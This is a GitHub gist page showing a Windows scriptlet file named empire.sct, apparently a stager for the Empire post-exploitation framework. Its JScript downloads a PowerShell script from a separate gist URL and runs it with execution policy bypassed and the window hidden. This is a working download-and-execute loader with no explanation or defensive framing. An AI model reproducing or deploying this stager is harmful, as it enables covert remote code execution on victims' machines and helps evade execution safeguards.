Skip to content

Instantly share code, notes, and snippets.

@Elm0D
Last active October 13, 2022 00:48
Show Gist options
  • Save Elm0D/033c061087d356f81b2a845b5fbb694a to your computer and use it in GitHub Desktop.
Save Elm0D/033c061087d356f81b2a845b5fbb694a to your computer and use it in GitHub Desktop.
empire.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
w = new ActiveXObject("WScript.Shell");
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://gist.githubusercontent.com/Elm0D/97147150a1738f05a8afa1f1d81985f5/raw/f514e953767ff9b4661cda2729eced17905144bc/test_VD.ps1",false);
h.Send();
c = h.ResponseText;
ps = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command ';
r = new ActiveXObject("WScript.Shell").Exec(ps + c);
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment